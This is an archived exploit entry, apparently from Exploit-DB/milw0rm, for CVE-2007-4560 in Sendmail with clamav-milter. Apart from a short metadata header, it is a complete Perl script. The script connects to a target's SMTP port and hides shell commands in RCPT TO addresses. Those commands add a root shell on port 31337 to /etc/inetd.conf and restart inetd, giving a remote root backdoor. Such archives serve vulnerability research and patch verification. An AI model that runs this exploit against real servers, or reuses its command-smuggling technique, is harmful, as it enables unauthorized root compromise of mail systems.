Sendmail with clamav-milter < 0.91.2 - Remote Command Execution

Author: eliteboy
type: remote
platform: multiple
port: 25.0
date_added: 2007-12-20  
date_updated: 2016-12-04  
verified: 1  
codes: CVE-2007-4560  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 4761.pl  
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');

print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {
        print;
}

# milw0rm.com [2007-12-21]